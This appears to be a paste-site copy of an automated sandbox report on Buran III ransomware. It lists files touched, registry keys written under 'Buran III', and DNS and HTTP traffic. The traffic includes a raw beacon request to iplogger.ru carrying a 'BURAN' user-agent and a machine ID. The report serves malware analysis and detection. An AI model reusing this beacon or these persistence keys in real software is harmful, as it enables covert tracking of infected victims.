- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\SaveAsRTF.api",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Search.api",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\SendMail.api",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Spelling.api",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\StorageConnectors.api",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Updater.api",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\weblink.api",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\AcroForm\\adobepdf.xdc",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\AcroForm\\PMP\\AdobePDF417.pmp",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\AcroForm\\PMP\\DataMatrix.pmp",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\AcroForm\\PMP\\QRCode.pmp",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Annotations\\Stamps\\Words.pdf",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Annotations\\Stamps\\ENU\\Dynamic.pdf",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Annotations\\Stamps\\ENU\\SignHere.pdf",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Annotations\\Stamps\\ENU\\StandardBusiness.pdf",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Multimedia\\MPP\\Flash.mpp",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Multimedia\\MPP\\MCIMPP.mpp",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Multimedia\\MPP\\QuickTime.mpp",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Multimedia\\MPP\\WindowsMedia.mpp",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins3d\\2d.x3d",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins3d\\3difr.x3d",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins3d\\drvDX9.x3d",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins3d\\drvSOFT.x3d",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins3d\\prcr.x3d",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins3d\\tesselate.x3d",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins3d\\prc\\MyriadCAD.otf",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\add_reviewer.gif",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\bl.gif",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\br.gif",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\create_form.gif",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\distribute_form.gif",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\email_all.gif",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\email_initiator.gif",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\ended_review_or_form.gif",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\end_review.gif",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\forms_distributed.gif",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\forms_received.gif",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\forms_super.gif",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\form_responses.gif",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\info.gif",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\main.css",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\open_original_form.gif",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\pdf.gif",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\reviewers.gif",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\reviews_joined.gif",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\reviews_sent.gif",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\reviews_super.gif",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\review_browser.gif",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\review_email.gif",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\review_same_reviewers.gif",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\review_shared.gif",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\rss.gif",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\server_issue.gif",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\server_lg.gif",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\server_ok.gif",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\stop_collection_data.gif",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\submission_history.gif",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\tl.gif",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\tr.gif",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\trash.gif",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\turnOffNotificationInAcrobat.gif",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\turnOffNotificationInTray.gif",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\turnOnNotificationInAcrobat.gif",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\turnOnNotificationInTray.gif",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\warning.gif",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\UIThemes\\DarkTheme.acrotheme",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\UIThemes\\LightTheme.acrotheme",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\base_uris.js",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\index.html",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\init.js",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\plugins.js",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\variant.js",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\version.js",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\main-cef-mac.css",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\main-cef-ui-theme.css",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\main-cef-win.css",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\main-cef-win8.css",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\main-cef.css",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\main-high-contrast.css",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\main.css",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\A12_Spinner.gif",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\A12_Spinner_2x.gif",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\A12_Spinner_int.gif",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\A12_Spinner_int_2x.gif",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\acrobat_parcel_generic_32.svg",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\adc_logo.png",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\AddressBook.png",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\AddressBook2x.png",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\adobe_spinner.gif",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\adobe_spinner_mini.gif",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\apple-touch-icon-114x114-precomposed.png",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\apple-touch-icon-144x144-precomposed.png",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\apple-touch-icon-57x57-precomposed.png",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\apple-touch-icon-72x72-precomposed.png",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\back-arrow-default.svg",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\back-arrow-disabled.svg",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\back-arrow-down.svg",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\back-arrow-focus.svg",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\back-arrow-hover.svg",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\ccloud.png",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\ccloud_retina.png",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\Close.png",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\Close2x.png",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\close_x.png",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\comment.svg",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\core_icons.png",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\core_icons_retina.png",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\createpdf.svg",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\dd_arrow_small.png",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\delete.svg",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\download.svg",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\duplicate.svg",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\editpdf.svg",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\export.svg",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\favicon.ico",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\fillandsign.svg",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\illustrations.png",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\illustrations_retina.png",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\ind_prog.gif",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\japanese_over.png",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\large_trefoil.png",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\large_trefoil_2x.png",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\logo_retina.png",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\move.svg",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\next-arrow-default.svg",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\next-arrow-disabled.svg",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\next-arrow-down.svg",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\next-arrow-hover.svg",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\organize.svg",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\over-arrow-navigation.svg",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\progress-indeterminate.gif",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\progress_spinner.gif",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\progress_spinner2x.gif",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\progress_spinner_dark.gif",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\progress_spinner_dark2x.gif",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\remove.svg",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\rename.svg",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\RHP_icons.png",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\RHP_icons_2x.png",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\SearchEmail.png",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\SearchEmail2x.png",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\selection-actions.png",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\selection-actions2x.png",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\sendforcomments.svg",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\sendforsignature.svg",
- "C:\\Windows\\ServiceProfiles\\LocalService\\AppData\\Local\\Temp\\WERB657.tmp",
- "C:\\Windows\\ServiceProfiles\\LocalService\\AppData\\Local\\Temp\\WERB657.tmp.appcompat.txt",
- "C:\\Windows\\ServiceProfiles\\LocalService\\AppData\\Local\\Temp\\WERB71E.tmp",
- "C:\\Windows\\ServiceProfiles\\LocalService\\AppData\\Local\\Temp\\WERB71E.tmp.WERInternalMetadata.xml",
- "C:\\Windows\\ServiceProfiles\\LocalService\\AppData\\Local\\Temp\\WERB79C.tmp",
- "C:\\Windows\\ServiceProfiles\\LocalService\\AppData\\Local\\Temp\\WERB79C.tmp.hdmp",
- "C:\\Windows\\ServiceProfiles\\LocalService\\AppData\\Local\\Temp\\WERC9DD.tmp"
- * Modified Registry Keys:
- "HKEY_CURRENT_USER\\Software\\Buran III\\Service",
- "HKEY_CURRENT_USER\\Software\\Buran III\\Service\\Public Key",
- "HKEY_CURRENT_USER\\Software\\Buran III\\Service\\Machine ID",
- "HKEY_CURRENT_USER\\Software\\Buran III\\Knock",
- "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\WBEM\\CIMOM\\LastServiceStart",
- "HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Wbem\\Transports\\Decoupled\\Server",
- "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\WBEM\\Transports\\Decoupled\\Server\\CreationTime",
- "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\WBEM\\Transports\\Decoupled\\Server\\MarshaledProxy",
- "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\WBEM\\Transports\\Decoupled\\Server\\ProcessIdentifier",
- "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\WBEM\\CIMOM\\ConfigValueEssNeedsLoading",
- "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\WBEM\\CIMOM\\List of event-active namespaces",
- "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\WBEM\\ESS\\//./root/CIMV2\\SCM Event Provider",
- "HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\services\\W32Time\\Type",
- "HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\services\\WerSvc\\Type",
- "HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\VSS\\Diag\\Registry Writer",
- "HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\VSS\\Diag\\COM+ REGDB Writer",
- "HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\VSS\\Diag\\ASR Writer",
- "HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\VSS\\Diag\\Shadow Copy Optimization Writer",
- "HKEY_CURRENT_USER\\Software\\Microsoft\\Terminal Server Client\\Servers",
- "HKEY_CURRENT_USER\\Software\\Microsoft\\Terminal Server Client\\Servers\\(Default)",
- "HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\services\\W32Time\\TimeProviders\\NtpClient\\SpecialPollTimeRemaining",
- "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\Windows Error Reporting\\Consent",
- "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\Windows Error Reporting\\Consent\\DefaultConsent"
- * Deleted Registry Keys:
- * DNS Communications:
- "type": "A",
- "request": "geoiptool.com",
- "answers":
- "data": "158.69.67.193",
- "type": "A"
- "type": "A",
- "request": "iplogger.ru",
- "answers":
- "data": "88.99.66.31",
- "type": "A"
- "type": "A",
- "request": "crl.comodoca.com",
- "answers":
- "data": "w3z5q8a6.stackpathcdn.com",
- "type": "CNAME"
- "data": "151.139.128.14",
- "type": "A"
- * Domains:
- "ip": "158.69.67.193",
- "domain": "geoiptool.com"
- "ip": "88.99.66.31",
- "domain": "iplogger.ru"
- "ip": "151.139.128.14",
- "domain": "crl.comodoca.com"
- * Network Communication - ICMP:
- * Network Communication - HTTP:
- "count": 1,
- "body": "",
- "uri": "http://geoiptool.com/",
- "user-agent": "",
- "method": "GET",
- "host": "geoiptool.com",
- "version": "1.1",
- "path": "/",
- "data": "GET / HTTP/1.1\r\nHost: geoiptool.com\r\n\r\n",
- "port": 80
- "count": 1,
- "body": "",
- "uri": "http://ocsp.usertrust.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBR8sWZUnKvbRO5iJhat9GV793rVlAQUrb2YejS0Jvf6xCZU7wO94CTLVBoCECdm7lbrSfOOq9dwovyE3iI%3D",
- "user-agent": "Microsoft-CryptoAPI/6.1",
- "method": "GET",
- "host": "ocsp.usertrust.com",
- "version": "1.1",
- "path": "/MFEwTzBNMEswSTAJBgUrDgMCGgUABBR8sWZUnKvbRO5iJhat9GV793rVlAQUrb2YejS0Jvf6xCZU7wO94CTLVBoCECdm7lbrSfOOq9dwovyE3iI%3D",
- "data": "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBR8sWZUnKvbRO5iJhat9GV793rVlAQUrb2YejS0Jvf6xCZU7wO94CTLVBoCECdm7lbrSfOOq9dwovyE3iI%3D HTTP/1.1\r\nCache-Control: max-age = 94765\r\nConnection: Keep-Alive\r\nAccept: */*\r\nIf-Modified-Since: Mon, 11 Mar 2019 04:19:13 GMT\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: ocsp.usertrust.com\r\n\r\n",
- "port": 80
- "count": 1,
- "body": "",
- "uri": "http://ocsp.comodoca.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBReAhtobFzTvhaRmVeJ38QUchY9AwQUu69%2BAj36pvE8hI6t7jiY7NkyMtQCECsuburZdTZsFIpu26N8jAc%3D",
- "user-agent": "Microsoft-CryptoAPI/6.1",
- "method": "GET",
- "host": "ocsp.comodoca.com",
- "version": "1.1",
- "path": "/MFEwTzBNMEswSTAJBgUrDgMCGgUABBReAhtobFzTvhaRmVeJ38QUchY9AwQUu69%2BAj36pvE8hI6t7jiY7NkyMtQCECsuburZdTZsFIpu26N8jAc%3D",
- "data": "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBReAhtobFzTvhaRmVeJ38QUchY9AwQUu69%2BAj36pvE8hI6t7jiY7NkyMtQCECsuburZdTZsFIpu26N8jAc%3D HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: ocsp.comodoca.com\r\n\r\n",
- "port": 80
- "count": 1,
- "body": "",
- "uri": "http://ocsp.comodoca.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBR64T7ooMQqLLQoy%2BemBUYZQOKh6QQUkK9qOpRaC9iQ6hJWc99DtDoo2ucCECqqFcLHUlZzydvBc9DfhNQ%3D",
- "user-agent": "Microsoft-CryptoAPI/6.1",
- "method": "GET",
- "host": "ocsp.comodoca.com",
- "version": "1.1",
- "path": "/MFEwTzBNMEswSTAJBgUrDgMCGgUABBR64T7ooMQqLLQoy%2BemBUYZQOKh6QQUkK9qOpRaC9iQ6hJWc99DtDoo2ucCECqqFcLHUlZzydvBc9DfhNQ%3D",
- "data": "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBR64T7ooMQqLLQoy%2BemBUYZQOKh6QQUkK9qOpRaC9iQ6hJWc99DtDoo2ucCECqqFcLHUlZzydvBc9DfhNQ%3D HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: ocsp.comodoca.com\r\n\r\n",
- "port": 80
- "count": 1,
- "body": "",
- "uri": "http://iplogger.ru/1nuF67.html",
- "user-agent": "BURAN",
- "method": "GET",
- "host": "iplogger.ru",
- "version": "1.1",
- "path": "/1nuF67.html",
- "data": "GET /1nuF67.html HTTP/1.1\r\nHost: iplogger.ru\r\nUser-Agent: BURAN\r\nReferer: BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960\r\n\r\n",
- "port": 80
- "count": 1,
- "body": "",
- "uri": "http://ocsp.comodoca.com/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBR64T7ooMQqLLQoy%2BemBUYZQOKh6QQUkK9qOpRaC9iQ6hJWc99DtDoo2ucCEQD%2BofQtYJP0vg6JS%2B4x27Bg",
- "user-agent": "Microsoft-CryptoAPI/6.1",
- "method": "GET",
- "host": "ocsp.comodoca.com",
- "version": "1.1",
- "path": "/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBR64T7ooMQqLLQoy%2BemBUYZQOKh6QQUkK9qOpRaC9iQ6hJWc99DtDoo2ucCEQD%2BofQtYJP0vg6JS%2B4x27Bg",
- "data": "GET /MFIwUDBOMEwwSjAJBgUrDgMCGgUABBR64T7ooMQqLLQoy%2BemBUYZQOKh6QQUkK9qOpRaC9iQ6hJWc99DtDoo2ucCEQD%2BofQtYJP0vg6JS%2B4x27Bg HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: ocsp.comodoca.com\r\n\r\n",
- "port": 80
- "count": 1,
- "body": "",
- "uri": "http://ocsp.comodoca.com/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBR64T7ooMQqLLQoy%2BemBUYZQOKh6QQUkK9qOpRaC9iQ6hJWc99DtDoo2ucCEQD%2BofQtYJP0vg6JS%2B4x27Bg",
- "user-agent": "Microsoft-CryptoAPI/6.1",
- "method": "GET",
- "host": "ocsp.comodoca.com",
- "version": "1.1",
- "path": "/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBR64T7ooMQqLLQoy%2BemBUYZQOKh6QQUkK9qOpRaC9iQ6hJWc99DtDoo2ucCEQD%2BofQtYJP0vg6JS%2B4x27Bg",
- "data": "GET /MFIwUDBOMEwwSjAJBgUrDgMCGgUABBR64T7ooMQqLLQoy%2BemBUYZQOKh6QQUkK9qOpRaC9iQ6hJWc99DtDoo2ucCEQD%2BofQtYJP0vg6JS%2B4x27Bg HTTP/1.1\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nPragma: no-cache\r\nAccept: */*\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: ocsp.comodoca.com\r\n\r\n",
- "port": 80
- "count": 1,
- "body": "",
- "uri": "http://crl.comodoca.com/COMODORSADomainValidationSecureServerCA.crl",
- "user-agent": "Microsoft-CryptoAPI/6.1",
- "method": "GET",
- "host": "crl.comodoca.com",
- "version": "1.1",
- "path": "/COMODORSADomainValidationSecureServerCA.crl",
- "data": "GET /COMODORSADomainValidationSecureServerCA.crl HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: crl.comodoca.com\r\n\r\n",
- "port": 80
- * Network Communication - SMTP:
- * Network Communication - Hosts:
- * Network Communication - IRC:
Advertisement
Add Comment
Please, Sign In to add comment